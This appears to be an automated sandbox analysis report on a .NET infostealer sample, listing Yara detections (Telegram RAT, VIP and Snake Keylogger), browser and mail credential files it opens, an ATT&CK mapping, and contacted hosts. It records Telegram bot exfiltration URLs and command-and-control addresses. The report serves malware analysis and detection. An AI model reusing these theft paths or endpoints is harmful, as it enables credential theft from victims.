Source: Yara match	File source: 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7540, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 13.2.lyNyKapwZJLKnn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7540, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7540, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2i3Lj7a8Gk.exe	79%	ReversingLabs	ByteCode-MSIL.Spyware.Negasteal
2i3Lj7a8Gk.exe	41%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	79%	ReversingLabs	ByteCode-MSIL.Spyware.Negasteal

Source	Detection	Scanner	Label
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://varders.kozow.com:8081	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://aborters.duckdns.org:8081	100%	URL Reputation	malware
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://51.38.247.67:8081/_send_.php?L	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	URL Reputation	safe
http://anotherarmy.dns.army:8081	100%	URL Reputation	malware
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
precioustouchfoundation.org	68.66.224.41	true	true	unknown
reallyfreegeoip.org	188.114.96.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	132.226.247.73	true	false	unknown
241.42.69.40.in-addr.arpa	unknown	unknown	true	unknown
checkip.dyndns.org	unknown	unknown	true	unknown
mail.precioustouchfoundation.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2007/10/2024%20/%2014:46:36%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2007/10/2024%20/%2015:26:03%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20a	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers/?	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4140515527.0000000000436000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers?	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lB	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.000000000325F000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D6E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.tiro.com	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.000000000419D000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004341000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004150000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004417000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042F4000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003F27000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E52000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E04000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CD5000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CAD000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C60000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=en	lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D33000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D73000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://varders.kozow.com:8081	2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4140515527.0000000000434000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000041A0000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.000000000412B000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042CF000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042FA000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004156000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000043F2000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003F02000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CB0000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.000000000322E000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.galapagosdesign.com/DPlease	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.precioustouchfoundation.org	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003205000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D14000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.urwpp.deDPlease	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	2i3Lj7a8Gk.exe, 00000000.00000002.1722967795.0000000002D44000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1768336189.0000000003154000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000000.00000002.1728892252.0000000005474000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://precioustouchfoundation.org	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003205000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D14000.00000004.00000800.00020000.00000000.sdmp	false		unknown
